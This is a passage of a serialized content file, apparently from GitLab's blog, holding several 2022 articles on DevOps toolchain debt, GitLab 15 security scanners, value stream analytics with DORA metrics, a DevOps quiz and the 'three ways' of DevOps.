releases and bring new and interesting opportunities to DevOps teams.\n\n### Do you regularly assess DevOps careers and roles on your team?\n\nHappy team members [really are more productive](/blog/why-software-developer-job-satisfaction-matters-and-how-to-make-it-happen/), so consider this a PSA to keep career growth conversations a priority. \n\nIn considering these 10 questions, your team will gain a fuller picture of your DevOps capabilities and how to address the technology and talent gaps you have identified.\n\n",[4103,754,2368],{"slug":13614,"featured":6,"template":678},"how-to-ask-smarter-devops-questions","content:en-us:blog:how-to-ask-smarter-devops-questions.yml","How To Ask Smarter Devops Questions","en-us/blog/how-to-ask-smarter-devops-questions.yml","en-us/blog/how-to-ask-smarter-devops-questions",{"_path":13620,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13621,"content":13626,"config":13631,"_id":13633,"_type":16,"title":13634,"_source":17,"_file":13635,"_stem":13636,"_extension":20},"/en-us/blog/battling-toolchain-technical-debt",{"title":13622,"description":13623,"ogTitle":13622,"ogDescription":13623,"noIndex":6,"ogImage":13548,"ogUrl":13624,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13624,"schema":13625},"Battling toolchain technical debt","DevOps teams can hinder the software development lifecycles and application performance if they let their toolchains become unruly. Read how GitLab can help reduce that technical debt.","https://about.gitlab.com/blog/battling-toolchain-technical-debt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Battling toolchain technical debt\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-06-21\",\n      }",{"title":13622,"description":13623,"authors":13627,"heroImage":13548,"date":13628,"body":13629,"category":962,"tags":13630},[3281],"2022-06-21","\nDevelopers love their tools. Operations teams love their tools. And security teams love their tools. As Dev, Sec, and Ops consolidate onto a single DevOps platform, toolchain technical debt becomes exponentially more costly and complex.\n\n“Tools should be in the background enabling excellent development, operations, and security practices. However, DevOps teams are often led by their tools rather than the other way around and that can hinder all aspects of the software development lifecycle (SDLC),” says [Cindy Blake](https://gitlab.com/cblake), CISSP, director of product and solutions marketing at GitLab.\n\nAn April 2022 Gartner® report titled “Beware the DevOps Toolchain Debt Collector” notes that “many organizations find themselves with outdated, poorly governed, and unmanageable toolchains as they scale DevOps initiatives.”\n\nOne of the key findings, according to Gartner, is that “most organizations create homegrown toolchains, often leveraging the tools beyond their functional design. This not only leads to a fragmented toolchain, but also creates complications when tooling needs to be scaled, replaced, or updated.”\n\nToolchain technical debt introduces complexity as companies shift critical tasks such as reliability, governance, and compliance left in the SDLC.\n\n> Discover how GitLab 15 can help your team deliver secure software, while maintaining compliance and automating manual processes.\nSave the date for our GitLab 15 [launch event](https://page.gitlab.com/fifteen) on June 23rd!\n\n## No time for technical debt\n\nFew DevOps teams give toolchain upkeep the time and attention it requires. According to [GitLab’s 2021 DevSecOps\nsurvey](/images/developer-survey/gitlab-devsecops-2021-survey-results.pdf), nearly two-thirds of survey respondents, 61%, said they spend 20% or less of their time on toolchain integration and maintenance each month.\n\n“Developers face challenges and time constraints while maintaining these complex, stand-alone tool siloes, building fragility and technical debt that the [infrastructure and operations] leader has to deal with,” Gartner states. The research firm adds, “These outdated toolchains further increase overhead costs, magnify technical risks, add operational toil, and limit business agility.”\n\nBlake agrees: “Complex toolchains inhibit the ability to govern the software development and deployment process. Policies must be managed across tools and visibility into code changes and changes to its surrounding infrastructure become difficult to see and track. Time is wasted on managing the toolchain instead of value-added work.”\n\n## Getting purpose-driven\nThe remedy to toolchain sprawl and subsequent debt is to change strategy. Instead of putting energy into figuring out how to maintain one-off tools, DevOps teams should focus on how to enable processes and policies that support simplicity, control, and visibility across the SDLC.\n\n“These are the characteristics needed to meet reliability, governance, and compliance demands. A united platform like GitLab helps you do that,” Blake says.\n\nGartner states: “Successful infrastructure and operations leaders reduce technical debt and sustainably scale DevOps toolchain initiatives across the organization by using a prioritized, iterative strategy that minimizes friction in making changes to toolchains and more quickly delivers customer value.”\n\nAdopting a purpose-built platform instead of a complex and ad-hoc toolchain also eases an organization’s ability to automate the SDLC. “Automation abstracts complexity away from the developer and provides guard rails so DevOps teams gain greater efficiency, accuracy, and consistency,” Blake says. In addition, automation reduces the audit footprint in terms of what needs oversight and inspection.\n\nPlatforms also support automation throughout operations, including building and\ntesting infrastructure as code, so that “you can eliminate the variables when you’re trying to debug an application,” she says. This speeds troubleshooting response times and reduces application downtime.\n\nFor instance, GitLab, the One DevOps Platform, features [dependency\nlists](https://docs.gitlab.com/ee/user/application_security/dependency_list/), also known as software bill of materials (SBOM), that show which dependencies were used and help to identify where problems exist. “GitLab also helps you avoid problems altogether by consistently scanning dependencies according to policies and compliance standards that the platform provides,” Blake says. DevOps teams can easily see what changes were made when and by whom. “That visibility is critical when trying to resolve issues and prevent them from happening again,” she says.\n\n## Reclaim your DevOps team’s time\nBy adopting a single DevOps platform, organizations can reclaim developer, security, and operations time that has been spent stitching tools together or optimizing for one developer’s tool, and then backtracking through toolchains when an application breaks because those tools can’t co-exist.\n\n“DevOps teams have a lot on their plates and trying to manage unruly toolchains is simply a waste of time. You should be creating state-of-the-art software, not manually integrating and maintaining legacy tools,” Blake says.\n\nShe emphasizes that GitLab is not “rip and replace”; it’s a platform where everything needed for DevOps comes together in one place. IT leadership benefits from this united approach as well. [Value stream\nanalytics](/solutions/value-stream-management/) provide insight into your end-to-end software throughput, helping optimize IT resources most efficiently and enabling a flexible, responsive business outcome. “We meet DevOps teams where they are and put the user – whether they be a developer, operations, or security professional – in the center of the platform,” she says.\n\n[Try GitLab Ultimate for free](/free-trial/\n) for 30 days.\n\n_GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved._\n",[4103,1268,1444],{"slug":13632,"featured":6,"template":678},"battling-toolchain-technical-debt","content:en-us:blog:battling-toolchain-technical-debt.yml","Battling Toolchain Technical Debt","en-us/blog/battling-toolchain-technical-debt.yml","en-us/blog/battling-toolchain-technical-debt",{"_path":13638,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13639,"content":13644,"config":13649,"_id":13651,"_type":16,"title":13652,"_source":17,"_file":13653,"_stem":13654,"_extension":20},"/en-us/blog/security-gitlab-15",{"title":13640,"description":13641,"ogTitle":13640,"ogDescription":13641,"noIndex":6,"ogImage":13548,"ogUrl":13642,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13642,"schema":13643},"GitLab's Commitment to Enhanced AppSec in Modern DevOps","Security abounds in our latest DevOps platform release, GitLab 15.","https://about.gitlab.com/blog/security-gitlab-15","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's commitment to enhanced application security in the modern DevOps world\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2022-06-21\",\n      }",{"title":13645,"description":13641,"authors":13646,"heroImage":13548,"date":13628,"body":13647,"category":674,"tags":13648},"GitLab's commitment to enhanced application security in the modern DevOps world",[1622],"\nWith [GitLab 14](/gitlab-14/), we saw deep emphasis on modernizing our DevOps capabilities. This modernization enabled enhanced application security and strenghtened collaboration between developers and security professionals.\n\nWe saw enhancments such as:\n\n- global rule registry and customization for policy requriements with support for separation of duties\n- a newly developed browser-based Dynamic Application Security Testing (DAST) scanner used to test and secure modern APIs and Single Page\nApplications\n- more support for different languages using Semgrep\n- new vulnerability management capabilities to increase visibility\n\nWith the GitLab 15 release, we can see how our commitment to enhancing application security across the board is stronger than ever. In this blog post, I will provide details on how GitLab is commited to enhancing not only security, but efficiency.\n\n> Discover how GitLab 15 can help your team deliver secure software, while maintaining compliance and automating manual processes.\nSave the date for our GitLab 15 [launch event](https://page.gitlab.com/fifteen) on June 23rd!\n\n## GitLab 15 security features\n\nWe see that with every GitLab release, there are plenty of enhancements to our security tools.\nGitLab 15 is no exception! We can see a boatload 🚢 of security enhacements released in GitLab 15 below:\n\n- [Container Scanning available in all tiers](https://docs.gitlab.com/ee/user/application_security/container_scanning/#capabilities)\n- [Audit changes to group IP allowlist](https://docs.gitlab.com/ee/administration/audit_events.html#group-events)\n- [Revoke a personal access token without PAT ID](https://docs.gitlab.com/ee/api/personal_access_tokens.html#using-a-request-header)\n- [Project-level Secure Files in open beta](https://docs.gitlab.com/ee/ci/secure_files/)\n- [Dependency scanning support for poetry.lock files](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#supported-languages-and-package-managers)\n- [Semgrep-based Static Application Security Testing (SAST) scanning available for early adoption](https://docs.gitlab.com/ee/user/application_security/sast/analyzers.html#transition-to-semgrep-based-scanning)\n- [Access and Verify actions for environments](https://docs.gitlab.com/ee/ci/yaml/index.html#environmentaction)\n- [Terraform CI/CD template authenticates to Terraform module registry](https://docs.gitlab.com/ee/user/infrastructure/iac/#integrate-your-project-with-terraform)\n- [GitLab advisory data included in container scanning results](https://docs.gitlab.com/ee/user/application_security/container_scanning/#vulnerabilities-database)\n- [New audit events for merge settings](https://docs.gitlab.com/ee/administration/audit_events.html#project-events)\n- [Users with the Reporter role can manage iterations and milestones](https://docs.gitlab.com/ee/user/permissions.html)\n- [Dependency path information](https://docs.gitlab.com/ee/user/application_security/dependency_list/#dependency-paths)\n- [Secure and Protect analyzer major version update](https://docs.gitlab.com/ee/user/application_security/)\n- [Static Analysis analyzer updates](https://docs.gitlab.com/ee/user/application_security/sast/analyzers)\n- [Approve deployments from the Environments detail page](https://docs.gitlab.com/ee/ci/environments/deployment_approvals.html)\n- [Scan result policies listed under MR approval settings](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#security-approvals)\n\nThese features run across different stages of the software development lifecycle. I have created a video showing some of the coolest new security features\nin GitLab 15:\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/BasGVNvOFGo\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n## Scanners moved to GitLab Free Tier\n\nA lot of our scanners were only part of GitLab Ultimate in the past. However, over time, certain scanners\nhave been moved over to GitLab Free Tier, enabling you to enhance the security of your application\nno matter what tier of GitLab you are using.\n\n| Scanner            | Introduced | Moved to Free |\n| ------------------ | ---------- | ------------- |\n| SAST               | 10.3       | 13.3          |\n| Container Scanning | 10.4       | 15.0          |\n| Secret Detection   | 11.9       | 13.3          |\n\nWithin the free tier, you are able to download the reports generated by the security scanners.\nThis allows developers to see what vulnerabilities were detected within their source code and\ncontainer images.\n\n![Report on vulnerabilities](https://about.gitlab.com/images/blogimages/modern-devops-security/results_1.png)\n\nHowever, there are benefits to upgrading to Ultimate, which are described below.\n\n## Benefits of upgrading to Ultimate\n\nSome organizations have multiple groups and projects they are working on, as well as a the security team,\nwhich manages all the detected vulnerabilities. While having security scan reports ready for download\nis useful, it is not exactly scalable across an organization. This is where Ultimate assists in enhancing\nDevSecOps efficiency.\n\n### Scanners\n\nWhile the GitLab Free Tier includes SAST, Secret Detection, and Container Scanning to find vulnerabilities\nin your source code, when you upgrade to Ultimate, you are provided with even more scanners. Here are some\nof the additional scanners provided in Ultimate:\n\n- [DAST](https://docs.gitlab.com/ee/user/application_security/dast/index.html)\n- [Operational Container Scanning](https://docs.gitlab.com/ee/user/clusters/agent/vulnerabilities.html)\n- [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\n- [Infrastructure as Code Scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/)\n- [Coverage-Guided Fuzzing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/)\n- [Web-API Fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/)\n\n### Developer Lifecycle\n\nIn Ultimate, there is enhanced functionality within the developer lifecycle. The merge request a developer creates will\ncontain a security widget which displays a summary of the new security scan results. New results are determined by\ncomparing the current findings against existing findings in the default branch.\n\n![Ultimate security widget](https://about.gitlab.com/images/blogimages/modern-devops-security/developer_1.png)\n\nThe results contain not only detailed information on the vulnerability and how it affects the system, but also\nsolutions to mitigating or resolving the issue. These vulnerabilities are also actionable, meaning that a comment\ncan be added in order to notify the security team, so they may review – enhancing developer and appsec collaboration.\nA confidential issue can also be created so that developers and security professionals can work together towards a\nresolution safely and efficiently.\n\n![Confidential issue](https://about.gitlab.com/images/blogimages/modern-devops-security/developer_2.png)\n\nWhile these features were avaliable in Ultimate on older versions of GitLab, within release 14 this feature was heightened\nto include developer training within the vulnerability, helping to educate developers and make them more security-aware. GitLab 15\nwill provide even more enhancements to the developer lifecycle.\n\n![Ultimate enhancements](https://about.gitlab.com/images/blogimages/modern-devops-security/developer_3.png)\n\n### Security team lifecycle\n\nThere are also several features which greatly benefit members of a security team.\n\nThe security team is able to effectively manage and triage vulnerabilities using the [Vulnerability Reports](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/).\n\n![Vulnerability reports](https://about.gitlab.com/images/blogimages/modern-devops-security/appsec_1.png)\n\nThe [security dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) allows the security team to assess the security posture\nof a project or group of projects. This is helpful to see how many vulnerabilities were introduced/resolved over time, as well as which projects require more\nattention than others\n\n![security dashboard](https://about.gitlab.com/images/blogimages/modern-devops-security/appsec_2.png)\n\nSeparation of duties can be enforced using [Compliance Frameworks](https://docs.gitlab.com/ee/user/project/settings/#compliance-frameworks)\nand [Security Policies](https://docs.gitlab.com/ee/user/application_security/policies/) assuring code requires approval before making it to production.\n\n![Separation of duties](https://about.gitlab.com/images/blogimages/modern-devops-security/appsec_3.png)\n\nThese are just some of the features GitLab has to offer in terms of security. For even more features, please see\nthe [GitLab application security](https://docs.gitlab.com/ee/user/application_security/) documentation.\n\n---\n\nThanks for reading! To find out more about the newest security features in GitLab 15, check out\nthe [release post](/releases/2022/05/22/gitlab-15-0-released/). For upcoming\nversion features, see the [Upcoming Releases](/upcoming-releases/) page.\n\nIt is also helpful to check out our [Secure](/direction/secure/) and [Protect](/direction/govern/) roadmaps to get an idea of the direction we\nare headed!\n",[674,4103],{"slug":13650,"featured":6,"template":678},"security-gitlab-15","content:en-us:blog:security-gitlab-15.yml","Security Gitlab 15","en-us/blog/security-gitlab-15.yml","en-us/blog/security-gitlab-15",{"_path":13656,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13657,"content":13662,"config":13668,"_id":13670,"_type":16,"title":13671,"_source":17,"_file":13672,"_stem":13673,"_extension":20},"/en-us/blog/gitlab-value-stream-management-and-dora",{"title":13658,"description":13659,"ogTitle":13658,"ogDescription":13659,"noIndex":6,"ogImage":13548,"ogUrl":13660,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13660,"schema":13661},"Improving visibility: GitLab's value stream and DORA metrics","Optimize DevOps with the new DORA metrics in GitLab Value Stream Management.","https://about.gitlab.com/blog/gitlab-value-stream-management-and-dora","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Break the black box of software delivery with GitLab Value Stream Management and DORA Metrics\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Haim Snir\"}],\n        \"datePublished\": \"2022-06-20\",\n      }",{"title":13663,"description":13659,"authors":13664,"heroImage":13548,"date":13665,"body":13666,"category":962,"tags":13667},"Break the black box of software delivery with GitLab Value Stream Management and DORA Metrics",[2485],"2022-06-20","\n\nOur customers frequently tell us that despite being very effective DevOps practitioners, they still struggle to build a data-driven DevOps culture. They find it especially hard to answer the fundamental question:\n\n_What are the right things to measure?_\n\nThis becomes more challenging in enterprise organizations when there are hundreds of different development groups, and there's no normalization between how things are done or measured. Because of this, we see a strong interest from customers for metrics that would allow them to standardize between teams and benchmark themselves against the industry.\n\n![Value Streams Analytics helps you visualize and manage the DevOps flow from ideation to customer delivery.](https://about.gitlab.com/images/blogimages/2022-06-dora-vsa-overview.png){: .shadow}\nValue Streams Analytics helps you visualize and manage the DevOps flow from ideation to customer delivery.\n{: .note.text-center}\n\n## What Are DORA Metrics? \n\nWith the continued acceleration of digital transformation, most organizations realize that technology delivery excellence is a must for long-term success and competitive advantage. After seven years of data collection and research, the [DORA's State of DevOps research program](https://www.devops-research.com/research.html) has developed and validated four metrics that measure software delivery performance: [(1) deployment frequency, (2) lead time for changes, (3) time to restore service and (4) change failure rate.](https://docs.gitlab.com/ee/user/analytics/#devops-research-and-assessment-dora-key-metrics) \n\nIn GitLab, The One DevOps Platform, [Value Stream Analytics (VSA)](/solutions/value-stream-management/) surfaces a single source of insight for each stage of the software development process. The analytics are available out of the box for teams to drive performance improvements.\n\n## What does DORA bring to Value Stream Analytics?\n\nValue Stream Analytics (VSA) measures [the entire journey from customer request to release](https://docs.gitlab.com/ee/user/group/value_stream_analytics/) and automatically displays the overall performance of the stream. Each stage in the value stream is transparent and compliant in a shared experience for everyone in the company. \n\nThis makes the VSA the single source of truth (SSoT) about what's happening within the entire software supply chain, with DORA’s metrics as the key measure of the value stream outputs. \n\n## How do Value Stream Analytics work?\n\nValue stream analytics measures the median time spent by issues or merge requests in each development stage.\n\nAs an example, a stage might begin with the addition of a label to an issue and end with the addition of another label:\n\n![Value stream analytics measures each stage from its start event to its end event.](https://about.gitlab.com/images/blogimages/2022-06-dora-vsa-stage.png){: .shadow}\nValue stream analytics measures each stage from its start event to its end event.\n{: .note.text-center}\n\nFor each stage, a table list displays the workflow items filtered in the context of that stage. [In stages based on labels](https://docs.gitlab.com/ee/user/group/value_stream_analytics/#label-based-stages-for-custom-value-streams), the table will list Issues, and in stages based on Commits, it will list MRs:\n\n![The VSA MR table provides a deeper insight into stage time breakdown .](https://about.gitlab.com/images/blogimages/2022-06-dora-vsa-mr.png){: .shadow}\nThe VSA MR table provides a deeper insight into stage time breakdown.\n{: .note.text-center}\n\nThe tables provide a deep dive into the stage performance and allow users to answer questions such as:\n\n- How to easily see bottlenecks that are slowing down the delivery of value to customers?\n- How to reduce the time spent in each stage so I can deliver features faster and stay competitive? \n- How can we develop code faster?\n- How can we hand off to QA faster?  How can we push changes to Production more quickly?\n\nUsing the Filter results text box, you can filter by a project (example below) or parameter (e.g., Milestone, Label). \n\n![Value stream analytics filtering.](https://about.gitlab.com/images/blogimages/2022-06-dora-vsa-filter.png){: .shadow}\nValue stream analytics filtering.\n{: .note.text-center}\n\nNo login is required to view [Value stream analytics for projects](https://gitlab.com/gitlab-org/gitlab/-/value_stream_analytics) where you can become familiar with stream filtering, default stages and deep-dive tables. For a full view of the DORA metrics, you have to log in with your GitLab [Ultimate-tier](https://about.gitlab.com/pricing/) account or sign up for a [free trial](https://about.gitlab.com/free-trial/).\n\n## How to understand DevOps maturity and benchmark progress with the DORA metrics?\n\nDORA metrics can also provide answers to questions not related to VSA, such as:\n\n- How to become an elite team of DevOps professionals?\n- How do I perform vs. industry standards? \n- Is the organization better at DevOps this year than last?\n\n## Learn more about VSA and DORA:\n\n- Check out the GitLab Speed Run about DORA metrics in VSA:\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/wQU-mWvNSiI\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n- [GitLab DORA metrics API documentation](https://docs.gitlab.com/ee/api/dora/metrics.html)\n\n- [Step-by-step instructions for creating a custom value stream](https://docs.gitlab.com/ee/user/group/value_stream_analytics/#create-a-value-stream-with-gitlab-default-stages)\n",[1899,4103,754,1268,1444],{"slug":13669,"featured":6,"template":678},"gitlab-value-stream-management-and-dora","content:en-us:blog:gitlab-value-stream-management-and-dora.yml","Gitlab Value Stream Management And Dora","en-us/blog/gitlab-value-stream-management-and-dora.yml","en-us/blog/gitlab-value-stream-management-and-dora",{"_path":13675,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13676,"content":13681,"config":13685,"_id":13687,"_type":16,"title":13688,"_source":17,"_file":13689,"_stem":13690,"_extension":20},"/en-us/blog/take-our-devops-quiz",{"title":13677,"description":13678,"ogTitle":13677,"ogDescription":13678,"noIndex":6,"ogImage":13548,"ogUrl":13679,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13679,"schema":13680},"Take our DevOps quiz!","From random terms to fun facts, will your DevOps knowledge be up to the task? Take our quiz and find out.","https://about.gitlab.com/blog/take-our-devops-quiz","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Take our DevOps quiz!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-06-16\",\n      }",{"title":13677,"description":13678,"authors":13682,"heroImage":13548,"date":13683,"body":13684,"category":962},[711],"2022-06-16","We're hoping to stump you...and we stumped ourselves on some of these questions for sure. There are just 10 questions, so dive in, and you'll see your score at the end.\n\n\u003Cdiv data-tf-widget=\"IcsqQQ0H\" data-tf-iframe-props=\"title=Test your DevOps knowledge!\" data-tf-medium=\"snippet\" style=\"width:100%;height:400px;\">\u003C/div>\u003Cscript src=\"//embed.typeform.com/next/embed.js\">\u003C/script>",{"slug":13686,"featured":6,"template":678},"take-our-devops-quiz","content:en-us:blog:take-our-devops-quiz.yml","Take Our Devops Quiz","en-us/blog/take-our-devops-quiz.yml","en-us/blog/take-our-devops-quiz",{"_path":13692,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13693,"content":13698,"config":13704,"_id":13706,"_type":16,"title":13707,"_source":17,"_file":13708,"_stem":13709,"_extension":20},"/en-us/blog/gitlab-and-the-three-ways-of-devops",{"title":13694,"description":13695,"ogTitle":13694,"ogDescription":13695,"noIndex":6,"ogImage":13548,"ogUrl":13696,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13696,"schema":13697},"GitLab and the three ways of DevOps","DevOps isn't just an esoteric philosophy - it actually is a roadmap for faster and safer software releases, if you choose the right tool. Here's how to take the principles of DevOps and get the most out of the One DevOps Platform.","https://about.gitlab.com/blog/gitlab-and-the-three-ways-of-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab and the three ways of DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vlad Budica\"}],\n        \"datePublished\": \"2022-06-15\",\n      }",{"title":13694,"description":13695,"authors":13699,"heroImage":13548,"date":13701,"body":13702,"category":962,"tags":13703},[13700],"Vlad Budica","2022-06-15","\n\nMost of my daily conversations are focused on features and very deep technical concepts, which provide valuable and actionable insight. However, we miss the fact that tools and technology are leveraged to solve business challenges. When talking about features and technology, it's very easy to see the possible financial gain when replacing different tools with a unified platform. But it's missing all the improvement opportunities that will provide value at all the levels of a company from developers to executives.\n\nThe reality is that we're working in very complex systems, making it hard to see the forest from the trees. As an engineer, you're focused on solving the next immediate problem that arises without taking a step back to reevaluate the system itself. In some cases, the problem itself is created by the design of our software development lifecycle (SDLC). As an executive, it's difficult to balance the effort required to address the technical challenges with the pressure that comes from the business in this ever-increasing rhythm of change.\n\nMy goal with this article is to provide a high-level map that contains the most important DevOps principles and a shortcut. I know this is a bold statement as there is a lot of literature on this topic but my approach will be different.\n \nFirst, I'm going to use the [Three Ways](https://itrevolution.com/the-three-ways-principles-underpinning-devops/) as coined in [The DevOps Handbook](https://www.amazon.com/DevOps-Handbook-World-Class-Reliability-Organizations/dp/1942788002) because those are the three foundational principles of DevOps as they were refined from Lean, the Toyota Production System, Theory of Constraints, Six Sigma, and System Thinking principles. Second, I'll reference GitLab as the tool of choice because I think a good tool lets you focus on the work at hand, and GitLab does just that.  \n\n> You’re invited! Join us on June 23rd for the [GitLab 15 launch event](https://page.gitlab.com/fifteen) with DevOps guru Gene Kim and several GitLab leaders. They’ll show you what they see for the future of DevOps and The One DevOps Platform.\n\nHere is a short description of what the Three Ways are, what they're about, and why you should care.\n\n## First Way: Maximize flow\n\nThe First Way is all about making work/value flow better through the whole value stream (left to right), and to do that, we need to have a systems thinking approach and always look at the end-to-end result. In the case of IT, this means we optimize for speed from the moment we had the idea, to generating value with software running in production.\n\nWe need to have a good understanding of the system to find potential bottlenecks and areas of improvement. Our improvements should always lead to better overall performance, be aware of the cases in which local enhancements lead to global degradation, and avoid that.\n\nIn this process, it is crucial to stop defects from passing downstream from one workflow stage to another. Why? Because defects generate waste (of time and resources).\n\n## Second Way: Feedback loops\n\nThe Second Way deals with feedback loops, amplifying and shortening feedback loops so that we get valuable insight into the work we're doing. The feedback can be related to the code that's written or the improvement initiatives. Feedback loops maximize flow from right to left of the value stream.\n\nQuick, strong feedback loops help build quality into the product and ensure that we're not passing defects downstream. The quicker we do this the quicker and cheaper we can solve them, continuously keeping our software in a deployable state. It's easier for a developer to fix a bug when they are working on that change, and the code and the thought process are fresh in their mind. Suppose days or even weeks pass between the moment of the commit and the moment we realize there is a problem with the change. It will be significantly harder to address the problem, not to mention that we probably realized the problem only when trying to deploy the software and we have a service that's not working on our hands. On the flip side, feedback loops enable learning and experimentation, a point on which I’ll return a bit later.\n\nUsually, more developers lead to more productivity but, as presented in [The State of DevOps Report](https://cloud.google.com/blog/products/devops-sre/announcing-dora-2021-accelerate-state-of-devops-report), this is true only for high performers. Why? If we have a team of 50 developers and problems aren't immediately detected, technical debt builds up. Things will only get worse when we have 100 developers because they will generate even more technical debt with every development cycle. A natural tendency would be to add more developers in the hope velocity will get better, but it will degrade, so we add even more developers, and things degrade even more, and deployment frequency starts to suffer as it takes a lot of time to fix all the problems that came from upstream in order to get to a deployable state.\n\n## Third Way: Continuous experimentation and learning\n\nThe Third Way is about creating a culture of trust where continuous experimentation and learning can thrive. This leverages the first two ways in order to be successful.\n\nMaking work flow easily through the value stream enables us to experiment and even take some risks, while failing fast and inexpensively. Feedback loops act as the guardrails that help us keep the risk in check but also facilitate learning because learning happens only when strong fast feedback is available. We can have a scientific approach, experiment with things, and extract the learning and improvement that results from these experiments and their feedback.\n\nThis is an iterative process that will lead to mastery (through increased repetition). This should be coupled with an environment where this local learning becomes global and is integrated into the daily work of all the teams. For this approach to work and start getting some results, 20% of our time should be reserved for these improvement activities. I'm aware how difficult it can be to carve 20% of your time for improvement initiatives when dealing with urgent problems is your full-time job. Protecting this improvement time helps us pay our technical debt and make sure things are not spiraling out of control.\n\n## GitLab and the Three Ways\n\t\nNow that we presented the Three Ways of DevOps, maximizing flow (left to right), feedback loops (maximizing flow right to left) and having a continuous learning process, implementing them requires some effort from a tooling and process perspective.\n\nIt’s time to introduce GitLab into the picture, the only DevOps platform that covers the whole SDLC. Why is this useful for you? Because there is a synergy that happens when all the capabilities you need are provided in the same platform, the result is more than the sum of the components. Additionally, a good tool lets you focus on your work, not on the tool itself, so you can spend more time and effort driving your DevOps transformation. The fact that you’ll spend less money and time integrating different tools is the first immediate return of your investment.\n\nWhen the goal is to maximize flow from left to right, GitLab can facilitate that, starting from idea to production. Having the benefit of being a platform built from the ground up, work can flow from Planning to the commit and source code management stage and forward to CI/CD seamlessly. Any person involved in the SDLC can perform their work from the same UI. All the information they need is available without a need to switch through different UIs while paying the mental context-switching cost associated when using disparate tooling. \n\nGitLab provides different control mechanisms to make sure that if defects are introduced they are isolated and they don’t move downstream. Working in short-lived feature branches, different controls around merging and MR Request Approval rules act as gates. \n\nBy having everything on the same platform it’s easier to understand the whole flow of work, coupling this with our Value Stream Metrics enables everyone involved to get a better understanding of the overall system and find potential bottlenecks and improvement opportunities.\n\n### Improved flow\n\nAs mentioned, flow in one direction - left to right - is not enough to deliver better software products faster. Feedback loops that are quick and provide strong feedback are crucial for great business outcomes. From a developer perspective, the results of the CI pipeline provides immediate feedback about your change. If this pipeline contains security scans it’s even better. Providing feedback from a security standpoint ensures that we’re not deploying vulnerable code and it gives the developer the opportunity to go back and fix it immediately. This is very actionable feedback that also provides a learning opportunity because the security reports come with information about the vulnerabilities, and also where possible, a potential solution to the vulnerability. All this is available for you without any additional work to integrate different tools.\n\nSwitching perspectives, someone that needs to review or approve a code change has everything they need at their fingertips in one place. It’s straightforward to pull in or “@mention” other necessary parties and they’ll get access to all necessary context. A decision can be made immediately and it’s based on accurate and clear feedback that you can trace back to the initial idea. \n\n### Metrics matter\n\nTaking another step back, we get different metrics (Value Stream, Contribution) at the project level. This is one of the advantages that comes with a platform approach, and these insights are very easy to obtain and feed back into the process. When doing software development at scale, more senior managers need this feedback at an even higher level, and, therefore, these are available across multiple teams, projects, or departments. All this information is very valuable from a current perspective, but also it helps guide and shape business decisions. If the velocity isn’t what is needed by the business we can look to remove bottlenecks, improve things or invest in some key areas.\n\nWith these two capabilities in place, we have a framework in which we can iterate quickly and safely. Experimentation becomes easy and very safe, we can test different business hypotheses, and see which ones work best with our customers. This should happen on an ongoing basis because this is the cornerstone of innovation.\n\n### Context is critical \n\nEvery experiment that we perform, every problem that we solve becomes valuable learning that should be accessible to everyone in the organization. Having everything (context, actions, results, learning) in one place enables us to open things up so that everyone can contribute. This requires an environment of trust where everyone feels comfortable to run small experiments that lead to improvements, and where these improvements can diffuse in your entire organization. By having a tool that just works and provides everything you need without any additional work, you gain back capacity that you can use to improve your product, overall system, or organization.\n\nIt’s been a long journey up to this point, with the purpose of taking a look beyond immediate feature comparisons and the immediate financial gain that is realized when replacing multiple tools with one. We looked at the core principles of DevOps as a map in your DevOps transformation and at GitLab as a tool to facilitate that. Improving very complex systems is hard, driving that change through your company is a challenge, knowing that you have a tool that just delivers on your needs you can focus on developing code and on your continuous improvement efforts.\n\nI hope this is useful to everyone involved in the SDLC, from the engineers who need to work with and within the system everyday, to senior leaders who need to deliver business results.\n",[4103,267,2704],{"slug":13705,"featured":6,"template":678},"gitlab-and-the-three-ways-of-devops","content:en-us:blog:gitlab-and-the-three-ways-of-devops.yml","Gitlab And The Three Ways Of 